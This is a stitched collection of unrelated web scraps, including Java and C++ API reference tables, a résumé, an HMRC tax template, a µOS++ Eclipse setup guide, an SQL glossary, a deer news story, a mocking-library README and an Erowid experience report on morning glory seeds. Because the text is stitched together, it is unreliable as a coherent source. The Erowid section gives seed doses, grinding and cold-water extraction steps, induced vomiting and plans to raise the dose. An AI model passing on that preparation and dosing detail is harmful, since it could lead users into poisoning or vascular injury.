| Package | Description |
|---|---|
| org.apache.olingo.odata2.annotation.processor.ref | |
| org.apache.olingo.odata2.api |
OData Library API
|
| org.apache.olingo.odata2.api.batch | |
| org.apache.olingo.odata2.api.ep |
Entity Provider
|
| org.apache.olingo.odata2.api.processor |
Data Processor
|
| org.apache.olingo.odata2.api.processor.feature |
Processor Features
|
| org.apache.olingo.odata2.api.processor.part |
Processor Parts
|
| org.apache.olingo.odata2.api.rt |
Runtime Support
|
| org.apache.olingo.odata2.jpa.processor.api |
OData JPA Processor API Library
|
| org.apache.olingo.odata2.jpa.processor.api.exception |
OData JPA Processor API Library - Exceptions
|
| org.apache.olingo.odata2.jpa.processor.api.factory |
OData JPA Processor API Library - Factory
|
| org.apache.olingo.odata2.jpa.processor.ref.util | |
| org.apache.olingo.odata2.jpa.processor.ref.web | |
| org.apache.olingo.odata2.ref.processor |
| Class and Description |
|---|
| ODataContext
Compilation of generic context objects.
|
| Class and Description |
|---|
| ODataContext
Compilation of generic context objects.
|
| ODataProcessor
An
ODataProcessor is the root interface for processor implementation. |
| ODataRequest |
| ODataResponse
An
ODataResponse is usually created by an ODataProcessor during request handling. |
| ODataSingleProcessor
A default
ODataProcessor that implements all processor features in a single class. |
| Class and Description |
|---|
| ODataRequest |
| ODataResponse
An
ODataResponse is usually created by an ODataProcessor during request handling. |
| Class and Description |
|---|
| ODataErrorContext
Error context information bean.
|
| ODataResponse
An
ODataResponse is usually created by an ODataProcessor during request handling. |
| Class and Description |
|---|
| ODataContext
Compilation of generic context objects.
|
| ODataContext.RuntimeMeasurement
Runtime measurements.
|
| ODataErrorContext
Error context information bean.
|
| ODataProcessor
An
ODataProcessor is the root interface for processor implementation. |
| ODataRequest |
| ODataRequest.ODataRequestBuilder |
| ODataResponse
An
ODataResponse is usually created by an ODataProcessor during request handling. |
| ODataResponse.ODataResponseBuilder
Implementation of the builder pattern to create instances of this type of object.
|
| Class and Description |
|---|
| ODataProcessor
An
ODataProcessor is the root interface for processor implementation. |
| Class and Description |
|---|
| ODataProcessor
An
ODataProcessor is the root interface for processor implementation. |
| ODataRequest |
| ODataResponse
An
ODataResponse is usually created by an ODataProcessor during request handling. |
| Class and Description |
|---|
| ODataRequest.ODataRequestBuilder |
| ODataResponse.ODataResponseBuilder
Implementation of the builder pattern to create instances of this type of object.
|
| ODataSingleProcessor
A default
ODataProcessor that implements all processor features in a single class. |
| Class and Description |
|---|
| ODataContext
Compilation of generic context objects.
|
| ODataProcessor
An
ODataProcessor is the root interface for processor implementation. |
| ODataRequest |
| ODataResponse
An
ODataResponse is usually created by an ODataProcessor during request handling. |
| ODataSingleProcessor
A default
ODataProcessor that implements all processor features in a single class. |
| Class and Description |
|---|
| ODataErrorCallback
This interface is called if an error occurred and is process inside the exception mapper.
|
| ODataErrorContext
Error context information bean.
|
| ODataResponse
An
ODataResponse is usually created by an ODataProcessor during request handling. |
| Class and Description |
|---|
| ODataSingleProcessor
A default
ODataProcessor that implements all processor features in a single class. |
| Class and Description |
|---|
| ODataProcessor
An
ODataProcessor is the root interface for processor implementation. |
| ODataResponse
An
ODataResponse is usually created by an ODataProcessor during request handling. |
| ODataSingleProcessor
A default
ODataProcessor that implements all processor features in a single class. |
| Class and Description |
|---|
| ODataSingleProcessor
A default
ODataProcessor that implements all processor features in a single class. |
| Class and Description |
|---|
| ODataContext
Compilation of generic context objects.
|
| ODataErrorCallback
This interface is called if an error occurred and is process inside the exception mapper.
|
| ODataErrorContext
Error context information bean.
|
| ODataProcessor
An
ODataProcessor is the root interface for processor implementation. |
| ODataRequest |
| ODataResponse
An
ODataResponse is usually created by an ODataProcessor during request handling. |
| ODataSingleProcessor
A default
ODataProcessor that implements all processor features in a single class. |
Copyright © 2013-2017 The Apache Software Foundation. All Rights Reserved.


A simple budget manager web application to calculate income and expense.
It's an open source project developed for learning purpose.


Scott Lieber
Full-stack Web Developer
Profile
Full-stack developer with 1+ years experience working with JavaScript, CSS, and other technologies. I’ve built small front-end and full-stack projects using React, Redux, Node.js, and MongoDB.
Technology Stack
React
Have built several small apps with React.js and Redux
MongoDB
Have worked with MongoDB and Mongoose on several projects
Node.js & Express
Have used Node with Express to create several full-stack apps
Frameworks & Libraries
Redux
Mongoose
Pug
Socket.io
jQuery
D3.js
Bootstrap
Projects
Nightlife Coordination App
Developer
Created an app allowing users to RSVP to bars in any city and see who else is going. Made using Node.js, MongoDB, the Yelp API, and React on the front-end.
Voting Machine
Developer
Voting app allows users to create and vote on polls. Made using Node.js, MongoDB, and React and Redux on the front-end.
View Stocks
Developer
Single-page app allows users to view stock prices and interact with other users also checking stock prices at the same time. Made using Node.js, Socket.io, MongoDB, and the Highcharts API.
Experience
Massachusetts Committee on Higher Education
Chief of Staff, Media Director | Boston, MA
2011 - 2016
Led passage of three pieces of legislation, organized a four-site subcommittee task force, and managed a staff of two.
Jim McGovern Campaign for Congress
Field Coordinator | Worcester, MA
2010
Trained volunteers, registered voters, and planned public events and fundraisers.
Barack Obama Campaign for Change
Full-time Volunteer | Boynton Beach, FL
2008
Trained volunteers, registered voters, and brought people to the polls for early voting.
The Denver Post
Reporting Intern | Denver, CO
2006
Covered arts, entertainment, and The Real World: Denver.
The Daily Orange
Sports reporter | Syracuse, NY
2002 - 2006
Covered the men's basketball and football teams, including the NCAA men's basketball tournament.
Wrigley Field
Food vendor | Chicago, IL
1999 - 2002
Sold hot dogs, peanuts, and other food items to fans at Cubs home games.
Education
Free Code Camp
Full-stack Web Developer, Certificate
2017 - 2018
University of Bayreuth
History & Economics, M.A.
2016 - 2018
Syracuse University
Magazine Journalism, B.S.
2002 - 2006
Scott Lieber — Contact —<PHONE_NUMBER>


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... if you only read the books that everyone else is reading, you can only think what everyone else is thinking.
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|
cds
1.5.0
|
Thread-specific data manager based on c++11 thread_local feature. More...
#include <cds/threading/details/cxx11_manager.h>
Static Public Member Functions | |
| static void | init () |
| Initialize manager (empty function) More... | |
| static void | fini () |
| Terminate manager (empty function) More... | |
| static bool | isThreadAttached () |
Checks whether current thread is attached to libcds feature or not. | |
| static void | attachThread () |
| This method must be called in beginning of thread execution. | |
| static void | detachThread () |
| This method must be called in end of thread execution. | |
| static ThreadData * | thread_data () |
| Returns ThreadData pointer for the current thread. | |
| static gc::HP::thread_gc_impl & | getHZPGC () |
| Get gc::HP thread GC implementation for current thread. More... | |
| static gc::HRC::thread_gc_impl & | getHRCGC () |
| Get gc::HRC thread GC implementation for current thread. More... | |
| static gc::PTB::thread_gc_impl & | getPTBGC () |
| Get gc::PTB thread GC implementation for current thread. More... | |
Thread-specific data manager based on c++11 thread_local feature.
|
inlinestatic |
Terminate manager (empty function)
This function is automatically called by cds::Terminate
|
inlinestatic |
Get gc::HRC thread GC implementation for current thread.
The object returned may be uninitialized if you did not call attachThread in the beginning of thread execution or if you did not use gc::HRC. To initialize gc::HRC GC you must constuct cds::gc::HRC object in the beginning of your application
|
inlinestatic |
Get gc::HP thread GC implementation for current thread.
The object returned may be uninitialized if you did not call attachThread in the beginning of thread execution or if you did not use gc::HP. To initialize gc::HP GC you must constuct cds::gc::HP object in the beginning of your application
|
inlinestatic |
Get gc::PTB thread GC implementation for current thread.
The object returned may be uninitialized if you did not call attachThread in the beginning of thread execution or if you did not use gc::PTB. To initialize gc::PTB GC you must constuct cds::gc::PTB object in the beginning of your application
|
inlinestatic |
Initialize manager (empty function)
This function is automatically called by cds::Initialize


Oyinbola botique lets shop!
Glad you could drop by and buy what you want! you will enjoy our great things you could buy from us.Season greetings to all.Wish you a very happy new year.


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Squat Trainer (also known as Mālāsana Pose)
Chair Pose Trainer (also known as Utkatasana)
Mountain Pose Trainer (also known as Tadasana)
Warrior 1 Pose Trainer (also known as Virabhadrasana I)
Warrior 2 Pose Trainer (also known as Virabhadrasana II)
Knee Pull Trainer ( a standing variation of Apanasana)
Swaying Palm Tree Pose Trainer (also known as Tiryaka Tadasana)
Goddess Pose Trainer (also known as Utkata Konasana)


The library_interface class provides a castable type that stores a library id (std::string) for mapping events to the correct library in sstmac::sw::operating_system.
More...
#include <library_message.h>
|
| const std::string & | lib_name () const |
| |
|
void | set_lib_name (const std::string &name) |
| |
|
void | serialize_order (serializer &ser) |
| |
|
|
| library_interface (const std::string &libname) |
| |
|
void | clone_into (library_interface *cln) const |
| |
The library_interface class provides a castable type that stores a library id (std::string) for mapping events to the correct library in sstmac::sw::operating_system.
| const std::string& sstmac::library_interface::lib_name |
( |
| ) |
const |
|
inline |
- Returns
- Node-unique name of library to deliver event to
The documentation for this class was generated from the following files:


@*
* Copyright 2023 HM Revenue & Customs
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*@
@import utils.ViewUtils
@import view_models.Amount
@import view_models.Rate
@this(viewUtils: ViewUtils)
@(taxModel: view_models.ScottishTax, ratesModel: view_models.ScottishRates)(implicit messages: Messages)
@taxRow(id: String, tax: Amount, total: Amount, rate: Rate) = {
@if(tax.nonZero) {
| @Html(messages(s"ats.total_income_tax.scottish_income_tax.table.$id", viewUtils.toCurrency(total), rate.percent)) |
@Html(viewUtils.toCurrency(tax)) |
}
}
@if(taxModel.hasTax) {
@taxRow("starter", taxModel.scottishStarterIncomeTax, taxModel.scottishStarterIncomeTaxAmount, ratesModel.scottishStarterRate)
@taxRow("basic", taxModel.scottishBasicIncomeTax, taxModel.scottishBasicIncomeTaxAmount, ratesModel.scottishBasicRate)
@taxRow("intermediate", taxModel.scottishIntermediateIncomeTax, taxModel.scottishIntermediateIncomeTaxAmount, ratesModel.scottishIntermediateRate)
@taxRow("higher", taxModel.scottishHigherIncomeTax, taxModel.scottishHigherIncomeTaxAmount, ratesModel.scottishHigherRate)
@taxRow("additional", taxModel.scottishAdditionalIncomeTax, taxModel.scottishAdditionalIncomeTaxAmount, ratesModel.scottishAdditionalRate)
| @Html(viewUtils.toCurrency(taxModel.scottishTotalTax)) |
}


{% extends "layout.html" %} {% block title %}Page Not Found{% endblock %} {% block content %}
We're sorry, but this page does not exist.


Next: The Start Menu
Up: The Menu
Previous: The Menu
- Load Cube:
- Load a 3D datacube in FITS format with spatial dimension in the and axis and spectral dimension in the -axis. The data must be stored in the first extension if the file contains multiple extensions.
The wavelength information must be stored in the primary FITS header as keywords CRVAL3 (the wavelength of the first monochromatic image) and CDELT3 (linear wavelength dispersion per pixel). The wavelengthes should be in units of Å.
- Save Cubes:
- This item is only available after the deblending process was finished successfully. In the following dialog the user is requested to select a directory and to provide a PREFIX for the file names. The datacubes of the deblended QSO and host emission will then be stored in the given directory as PREFIX_QSO.fits and PREFIX_host.fits. The wavelength range for these two files can optionally be reduced to cover only a specific spectral region.
Figure 4:
Save Cubes dialog
|
|
- Save Session:
- All the parameters and settings from the Deblending Control Widget can be stored in a special (q3d) binary file, so that the deblending can be repeated later or paremeters can easily be adjusted without starting from the beginning.
- Load Session:
- Load a q3d file to recover a previous session for a specific datacube.
Next: The Start Menu
Up: The Menu
Previous: The Menu
Bernd Husemann
2011-04-07


It's the 10th Anniversary of the Women's Premier League, baby! This website is made with love for USA Eagle and All Blues Rugby prop, Naima Reddick, by her energy buddy, Maja Wichrowska. I hope this little site compensates for my lack of craftiness and helps you get hyped up for our matches this weekend.


As a journalist, Jin keeps a humble Wordpress blog and publishes some of his research, observations and multimedia projects. The blog can be found HERE.
He has written for Northeastern University's new international student magazine, the Global Observer, which can be found HERE.The header of the Global Observer website.
In particular, Jin is curious of the relationships between Asian American identities, cultural diaporas and their future influence in the world. He believes that his multicultural and multilingual experiences, studies in computer science as well as game design, allow him to observe from a perspective that may differ from traditionally trained journalists.
Jin worked together with a professional illustrator in the ambitious WANDERLUST project, successfully Kickstarted at the end of 2017.
As the entire anthology focused on the themes "Quests and Journeys", the story "Plum Rain" tells of the ancient Sillan warriors of South Korea, the Hwarang and of otherworldly spirits commonplace in Korean mythology. As the story writer of the comic, Jin was responsible for delivering narrative and scripting the panels in the comic accordingly.
A peek at some of the published comic with the story concept introduction.
When possible, Jin also works on personal writing projects. The themes he enjoys writing about most usually involve Korean or Japanese mythology, sci-fi or even a mix of both.


This submission is to document experiences I have had in the past two months on the preparation techniques, physical effects, and dosages, of Ipomoea violacea (Morning Glory). I have been an avid user of Psychedelics for about 15 years, but was mainly limited to LSD, and Psilocybin, and due to the fact that these have become unavailable I looked for other routes to induce the mind set. Therefor I began doing research on the natural occurring substances that contained mind altering properties, hence, Morning Glory, due to the fact that it is readily available for purchase online in untreated form, and the amount received for the price paid is astounding (1500 seeds for $9.00).
So begins my decision to experiment with this substance. In October I placed an order with a company that provided untreated seeds (I do not recommend purchasing seeds from you local department store due to the fact that the may be coated with a pesticide or preservative which could make you sick), and purchased 1500 seeds. My order arrived within two weeks. That weekend I decided to begin my first experiment with these things and prayed that I wouldn't die.
I have reviewed all the documentation, and experience reports before I decided my dosage.
Listed on Erowid:
Light: 50-100 seeds
Common: 100-250
Strong: 250-400
Extreme: 400+
First report:
Start time: 7:00 p.m.
I bought a Coffee Grinder. I counted out 300 seeds and ground them to a fine powder. I mixed this powder with 16 oz. of Pure Spring water, stirred, then drank. There was pulp left in the bottom after the first glass, so added more water, stirred and drank, note: The concoction has a really nutty earthy flavor and I think is would palatable by most people.
I received the first effects within 15 mins. Slight nausea, started becoming sleepy, but I expected this because LSA is a depressant. 45 mins, I became really nauseated and vomited violently, but then the trip took off and I felt really good that I had purged myself of the sludge that I had drank earlier. The first thought I noticed was the lethargy of my arms and legs, when walking was like wading through water. Pupils became dilated, slight tingling in my hands, numbness to body, shrinking of the genitals.
Mental effects were slight confusion. Everything I look at is more pronounced, more colorful, but in all the hallucination were mild. I figure this to the fact that I regurgitated most of what I had swallowed, so I went out for the night and had a wonderful time outside for the rest of the journey. During the whole experience the physical effects overshadowed most of the night. Peak time was 3 hours, with a nice afterglow.
Total experience in hours: 6
To sum up this experience: Good experience if it wasn't for the physical effects, but I don't find it visually stimulating as what I thought it would be. Kinda of like taking a weak hit of LSD, but this could be due to the fact that I vomited. But I could definitely tell it was a Lysergic Acid experience.
Second report:
Start time: 3:00 a.m.
This was approximately 5 days later from the first experience and since I didn't succumb to any ill physical effects I decided to forgo the experience once again to try to achieve the place that I was trying to find.
I did more research on the Chemicals listed that are contained in the Morning Glory and found that there is a erogtine substance in the seeds which seems to be the cause of the tingling in the hands, so I was worried about the possibility of gangrene caused be a ergotine substance, but never ran across any documentation of this being caused by Morning Glory, only the ergot fungus on rye. So, I felt comfortable trying them again with a higher dosage.
I counted out 400 seeds and ground them in the coffee grinder and consumed them the same as the first time with the same onset within 15 mins, but after 30 mins, I made myself vomit up the rest of the sludge as the first time with good effect. Same physical effects were felt, but I will tell you that I went really far out this time.
The mental effect, and hallucinatory effects were great, but there is always the constant physical effect that kept intruding into the experience, which kept causing me to think that I was destroying my physical self each minute. This only lasted for about 2 hours though and then it was wonderful, colorful, music was great, and Television had a life of it's own. I would see people talking before I could hear the words, and sometimes the people I heard were speaking in a language that I didn't know. The trails from movement seems to last and halos were on ever light I saw. I went outside at on point but was so overwhelmed with visions that I had to recede back into my home for the fear that if I didn't I would go somewhere I couldn't come back from.
Peak time was 3 hours, and total experience lasted about 6 hours with a beautiful after glow. It was a beautiful experience to see the sun rise and from that moment I decide that I would do this little things again but thy to get rid of the nausea and physical factors involved with this substance.
In All: Very, Very great experience but the physical factor is extremely pronounced and I do not suggest this much for someone that isn't used to psychedelics as I believe this could make a normal user go crazy with the fear that they were going to die.
I noticed three things on this second journey. One: There seems to be something that is stuck in my throat when I come down. Two: I experience a tingling in my hands, and a leg cramp for 24 hours after. Could be due to the vasoconstriction with the ergotine substance. Three: Stomach feels as if I ate soap.
Third Report:
Start Time: 11:00 p.m.
1 week since last experience.
I felt that I would try the cold water extraction to see if it would help with the physical effects. This report is short because there really isn't much to say.
I counted out 150 seeds, ground in coffee grinder, put finely powdered seeds into a tamale jar and added cold Purified Water to fill the glass halfway, then added 1 oz. Icehouse beer. Let the mixture sit for 1 hour, shaking jar every 10 minutes.
Let contents settle after 1 hour then poured of the liquid leaving a sludge of pulp in the bottom of the glass.
Drank mixture. This infusion started acting upon my system immediately. Full effects start in about 20-30 minutes. Absolutely no nausea doing it this way but there is a felling in my stomach like that of drinking soap. Still got that lump in my throat this time, too. In All the visuals were slightly pronounce, colors, pronounced, music sounded pretty good, extreme cramp in left leg, hands tingling so bad it is hard to handle. I feel this was a waste of perfectly good seeds and thought I wouldn't try them again. I figured I have done too many seeds in such a short time that this is way I am having such a extreme effect of physical complications.
Fourth Report:
3 weeks since last use:
Start time: 3:00 a.m.
I counted out 250 seeds, ground to a fine powder in coffee grinder, added fine seed powder to tamale jar and added 16 oz. Purified Water, and added 4 cubes of Ice. Let mixture soak for 3 hours shaking jar every 20 minutes, Poured off water, leaving seed sludge in bottom of jar.
Drank mixture in 10 min intervals. Couldn't finish all of it because I started tripping before I could so I stopped where I wanted to be. This time there were absolutely no physical effects other than Dilated Pupils. No tingling in my hands, no cramps, still have the lethargy and drowsiness, but the visuals were great, the whole experience left me in awe of this substance and I think I have found the way this is suppose to be consumed. Peak time was 3 hours, lasting 8 hours.
In All: Wonderful but I would like to up the dosage in the future to about 350 seeds. I figure that is my limit but I will try 300 first to see the effects on that dosage.
 Although it is legal to obtain these seeds.
12/04/04 3:02 p.m. EST
Experience Reports are the writings and opinions of the individual authors who submit them.
Some of the activities described are dangerous and/or illegal and none are recommended by Erowid.


| Name | Description |
|---|---|
| SQL | It is how we write to and retrieve data from relational database management system |
| RDBMS | It is a way that data is presented to the end user in the form of tables, columns and rows. |
| Three value logic | Unlike other programming languages,SQL has a three value logic which are True/False and unknown(NULL) |
| Primary Key | It is a column or set of columns that are guaranteed to be unique in a given row. |
| Foreign Key | It is a referential constraint between two tables that informs data integrity. |
| Result Set | The results returned from a SELECT statement. |
| Predicate | An expression that evaluates to True, False or Unknown. We use predicates on WHERE, HAVING and JOINS. |
| SELECT *
FROM table_name |
This means that return all columns in the table_name at runtime. |
| SELECT *
FROM table_name WHERE column_name(=, > )num/string |
the where clause must decide if something is true or false. A row with a non-null value is either true or false for each predicate. It determines which rows to include in the result set. |
| IN and NOT IN | allows you to build lists (Values) : Lets say if asked to find a customer from a Customers table with CustomerId 1,3,4,5 we write:
SELECT * FROM Customers WHERE CustomerId IN (1,3,4,5) |
| BETWEEN | allows you to test ranges:
SELECT * FROM Customers WHERE CustomerId BETWEEN 10 AND 20 |
| LIKE | allows for pattern matching:lets say we want to get all names where the first letter starts by c.we write
SELECT * FROM Customers WHERE name LIKE “c%” |
| DISTINCT | SQL does allow duplicates in the result set but the use of DISTINCT eliminate duplicate “rows” from result set but only if the whole row is a duplicate. |
| TOP | returns the top “n” rows and its result can be affected by the ORDER BY. TOP get processed after the query is ordered by something we want.
SELECT TOP(3) |


|
| Page date Mon Sep 9 13:46:36 2013 . | Improve this page |
Although the minimum development environment for µOS++ SE requires only a shell terminal and a character based editor (like vi or emacs), the recommended development environment is based on Eclipse IDE, more specifically on Eclipse IDE for C/C++ Developers, available from Eclipse downloads.
Currently there are no specific plug-ins required, so any recent Eclipse version should work. The below steps are based on Eclipse 4.3 Kepler, running on OS X, but should not be much different when running on Ubuntu.
The below procedure is based on my personal preferences, and I usually like to keep things grouped in separate folders. If you have your strong opinions on how things should be organised, you can obviously adjust the procedure to suit your need. Otherwise, if you do this for the first time, it is recommended to follow the procedure in detail, as-is, to avoid surprises.
Although you can use an existing Eclipse that you already have installed, it is recommended to keep things distinct, and do not share development tools between project, especially since Eclipse does not install system components and has absolutely no problems with multiple instances of itself.
So, it is recommended to prepare a local folder where all current and future Eclipses used for this project will be stored, and to download a fresh Eclipse into it:
mkdir -p "~/work/uOS/Eclipses"
mkdir -p "~/work/uOS/Eclipse Workspaces"
~/work/uOS/Eclipse Workspaces/workspace-4.3-osx
The PyDev plug-in is necessary to better view the Python XCDL files, even if Python development is not planned.
In Help menu → Install New Software…
If you plan to do any debugging using JTAG/SWD probes, it is recommended to install the GDB Hardware Debugging support plug-in.
In Help menu → Install New Software…
In Eclipse menu → Preferences… → General → Workspace
In Eclipse menu → Preferences… → General → Editors → Text Editors
In Eclipse menu → Preferences… → C/C++ → Code Style → Formatter
In Eclipse menu → Preferences… → C/C++ → Indexer
In Eclipse menu → Preferences… → PyDev → Interpreter - Python
In Eclipse menu → Preferences… → PyDev → Editor
If you already performed the unit tests, the two required repositories are already locally cloned, and you just have to inform Eclipse on their location, and import the projects.
For this, in the File menu → Import
Repeat this procedure for the xcdl-python.git repository, and import the xcdl-python project.
If you did not perform the unit tests, then you need to clone the repositories to a local folder. You can do this either using the command line git command and then just perform the above steps, or using Eclipse specific commands, as explained below.
In the File menu → Import
https://github.com/micro-os-plus/micro-os-plus-ii
/Users/XXX/work/uOS/micro-os-plus-se.git
Similarly, repeat the steps for the second repository URI https://github.com/xcdl/xcdl-py
, clone it to an absolute folder path like /Users/XXX/work/uOS/xcdl-python.git
and import the xcdl-python project.
To simplify entering of various program or folder locations in Eclipse, it is recommended to define them once, as variables, and refer them as many times as needed.
Eclipse is a bit confusing when dealing with variables, since it allows several types of them, called with different names, but, with some attention, it allows the job done.
In the Eclipse menu → Preferences… → C/C++ → Build → Build Variables
MICRO_OS_PLUS_SE_LOC
XCDLBUILD
scripts/xcdlBuild.sh
GCC_ARM_EP_LOC
In addition to the C/C++ Build Variables, we also need the µOS++ SE location for a linked folder, so an additional definition General Workspace group is required.
In the Eclipse menu → Preferences… → General → Workspace → Linked Resources
MICRO_OS_PLUS_SE_LOC
Note: The yellow exclamation mark is there because the sample path is not valid.
Once the µOS++ SE folder is available, it can be linked to as many projects as necessary, without having to keep multiple copies of it, significantly simplifying space management.
The Eclipse projects used for µOS++ applications should be created as Makefile projects, without a toolchain (this detail is very important!).
In order for the indexer to function properly, some additional details need to be manually defined:
µOS++ has a large number of build configurations defined in the XCDL metadata, to support not only multiple applications, but also building the same application for multiple platforms (different boards, different synthetic platforms), with different compilers, in different bit sizes (32/64-bit), for Debug/Release. There are no metadata limitations on how these build configurations should be grouped, so it is completely up to you, you can group them by applications, by platform, or by any other criterion.
For example, to create a project to group all QEMU build configurations, follow the steps:
In the File menu: New → C++ Project
The new project is now visible in the Project Explorer, but is completely empty, and, to be functional, it needs to be configured.
PATH
${GCC_ARM_EP_LOC}
${COMMAND}
with the actual g++ command name, for example arm-none-eabi-g++
Once the toolchain path and the discovery command are properly configured, the Includes list in the Project Explorer should be populated with the a list specific to the toolchain.
${ProjDirPath}/build/${config_name:${ProjName}}/include
${MICRO_OS_PLUS_SE_LOC}/packages
MICRO_OS_PLUS_SE_LOC/packages
(alternatively this can be done by pushing the Variables… button, selecting the MICRO_OS_PLUS_SE_LOC
variable, pushing the Extend… button and selecting the packages folder)To check if the definition is valid, expand the micro-os-plus-se folder and check if the µOS++ SE sources are available.
/bin/bash "\${XCDLBUILD}" --repository='\${MICRO_OS_PLUS_SE_LOC}/packages' --build_config=\${config_name:\${ProjName}}
All above settings were performed on the Default build configuration. This configuration in itself is not functional, since there is no µOS++ configuration called Default, but is useful, since it can be used as template to create actual build configurations.
This can be done using the Manage Configurations dialog.
qemu_osx_aep_gcc_minimal_Debug
Eventually repeat this step, and add a new build configuration named qemu_osx_aep_gcc_minimal_Release
.
To build only one configuration, click on the down pointing triangle on the right of the hammer icon and select one of the existing configuration. This selects the active configuration and also starts the build process.
Avoid to build all defined configurations (using the Project menu: Build All) since this will also try to build the python projects, and it takes some time.
The result of each build is a folder below the build folder, with the same name as the build configuration.
The indexer is configured to automatically reindex the active build configuration.
To check if this functions properly, switch between Release/Debug and verify if the two lines turn grey on Release and remain white on Debug.
If, for any reason, during development, you think the index was not updated, you can force it to run using the Project menu → C/C++ Index → Rebuild.
With such a complex project, the build output is sometimes quite large, and it is recommended to remove any limitations imposed on the console output, in order to avoid missing its beginning.
The Eclipse menu: Preferences… → Run/Debug → Console
As a detail that sometimes is annoying, it is recommended to configure Clean to clean only the selected project, and to not start build automatically.
This is achieved via the Project menu → Clean…


Right-click on the phylogenetic tree visualization to open context menu for more options to interact with tree.
CTRL+SHIFT+F to toggle fullscreen mode.


Three's a crown: photo of three-antlered deer is 'one-in-a-million' find
by Guardian staffWhen Steven Lindberg took a closer look at his image of a deer taken near his Michigan home, he had a surprise
Five years ago, Steven Lindberg vowed to upload an image a day to Facebook, a largely unexceptional exercise that the retired Michigan state legislator often conducted as he was walking his dog near his home in Marquette.
Last weekend, Lindberg took a picture of a deer. Ordinarily, that would have been unexceptional, too: there are 30 million such animals in North America.
But when Lindberg uploaded the image, he realized the buck had three antlers.
Veterinarian Steve Edwards told the Detroit Free Press it was a “one-in-a-million” find. Others said the animal could be even rarer than that, and attributed the extra growth to damage to the pedicels, the structures in the skull that support antlers.
Lindberg, 75 and a former hunter, told the Free Press he stopped shooting animals 20 years ago when he lost the desire to kill.


Free time?
Bored?, wanting to do something different?, in Chillax we understand you, that's why we want to give you options close to you, matching your desired weather and with the type of activity that you would like to live in that moment


Increment age
Calculate
Functions
More on List
More on Maps
Manipulating HTML
Objects and Classes
Inheritance


{% extends "base.html" %} {% block content %}
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perlopenbsd - Perl version 5 on OpenBSD systems
This document describes various features of OpenBSD that will affect how Perl
version 5 (hereafter just Perl) is compiled and/or runs.
When Perl is configured to use ithreads, it will use re-entrant library calls in
preference to non-re-entrant versions. There is an incompatibility in
OpenBSD's "getprotobyname_r" and
"getservbyname_r" function in versions 3.7
and later that will cause a SEGV when called without doing a
"bzero" on their return structs prior to
calling these functions. Current Perl's should handle this problem correctly.
Older threaded Perls (5.8.6 or earlier) will run into this problem. If you
want to run a threaded Perl on OpenBSD 3.7 or higher, you will need to upgrade
to at least Perl 5.8.7.
Steve Peters<EMAIL_ADDRESS>Please report any errors, updates, or suggestions to
<https://github.com/Perl/perl5/issues>.


Parking Project
Home
Garages
Garages Map
Authors: Brooke Robinson, Matt Bubernak, Sophie Yun Zhou, Andrew Krodinger
Parking Garages
Use the Garages and Garages Map to find more information!
List of Garages
Garage Map


PureBasic - ToolBar
Overview
Toolbars are very useful to access some functions of the application quickly, with the help of small icons. It's often the shortcuts of menus items. PureBasic allows to create any number of toolbar and to handle them as if it was a menu.
Command Index
CreateToolBar
DisableToolBarButton
FreeToolBar
GetToolBarButtonState
IsToolBar
SetToolBarButtonState
ToolBarHeight
ToolBarID
ToolBarImageButton
ToolBarSeparator
ToolBarStandardButton
ToolBarToolTip
Example
ToolBar.pb
Supported OS
All


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{% extends "html/base.html" %} {% block content %}
Select an ini file to load. For now this creates a hurricane catalog of a single storm.
Paste a Unisys track.dat file here.
Check that images are loading


Nikita
Paralysed from the waist down after treatment for fluid on the brain, her parents were told 'nothing can be done'. Following investigation by Marcia, in November 2008 Nikita was assessed by a physiotherapist from Kathmandu who said 'I think she can walk'. He gave her an exercise program which is carried out at school as well as at home and there has been progress after only two months. Children's Paradise Pre School upgraded to include Grade 1 to cater for Nikita.
Latest News - May 2009 - News from Buntty tells us that Nikita is now able to bend her ankles and can almost put each foot on the ground. Such joy!!
Read a testimonial from Nikita's parents here.
Abish
This young boy came to Children's Paradise aged 3, kicking and screaming and banging his head on the wall. Autistic perhaps?
Now aged 5 he is a different boy. He observes all that goes on around him, is very gentle and affectionate and can sometimes be bossy. He loves music and playing with others.
Read a testimonial from his mother here.
Priya
Even after assessment in India, doctors were unable to diagnose Priya but suspected she was autistic. She was sent to three normal schools but was constantly separated from other children, and alone. Teachers could not explain why and consequently she was angry and troublesome.
After starting at Children's Paradise she has shown great improvement. She now joins in and plays with other children.
Read a testimonial from Priya's parents here.
 After starting at Children's Paradise 3 years ago Richa was correctly diagnosed with deafness.
Once she received a cochlear implant she began to learn how to talk and is now fully integrated. This lovely girl, who had once been classified as 'hopeless...can do nothing' now leads the life of a normal child and is a student in the Grade 1 class.
Read a testimonial from Richa's parents here.


Fetch-mock-fixtures (FMF)
While most of mockers for fetch are only meant to intercept and define the next response content, FMF goes far beyond and offers a wide range of tools for testing js apps.
What is featured :
- BDD style syntax to configure server and fixtures in a more readable-friendly way. It's heavily inspired by Chai
should
assertion library, - Easy way to configure response on-the-fly, mutating responses from call to call...
- Enhanced
Request
native object to automatically parse url details and query content withurl-parse
, - Powerful response presets and fixtures system to avoid writing the same things again and again and ease functional testing,
- Easy access to the full history or requests/responses handled by the server since its first start or last reset,
- Parametrized request thanks to
path-to-regexp
to enable dynamic fixtures routing in a few lines of code - and many more !
For instance, with FMF, you can do such things to quickly configure two fixtures in a mocha test (that will obviously succeed) :
import Server from 'fetch-mock-fixtures';
const server = new Server();
describe('Headers test', function() {
before(() => server.start()) // Start intercepting fetch calls
after(() => server.stop()) // Restore to normal behavior
it('should use json headers', async function() {
server
.when // or .on
.header('content-type').equal(/json/) // use a regexp here to avoid writing full header
.respond.with.preset('200')
.fallback.to.preset('400')
let response = await fetch('/', {
headers: {'content-type': 'application/json'}
});
response.status.should.equal(200);
})
})
How FMF can ease API outgoing requests unit tests ?
FMF enables really quick response configuration that allows testing the outgoing request to set up different responses (see above example). You only have to check a response property (like status) instead of manually parsing request built by your app to validate it.
Furthermore, you can use the before
and after
hooks or body
as a callback to alter response on very precise expectations.
How FMF can ease functional tests ?
In real life, scripts are often sending multiple requests to do their job. FMF removes the pain of handling multiple responses by easing their management. Let's see this example with a two steps authentication login. A bit verbose for what is actually doing but it aims to illustrate things :
import Server from 'fetch-mock-fixtures';
const server = new Server();
// Define on-the-fly fixtures to handle login tests
server
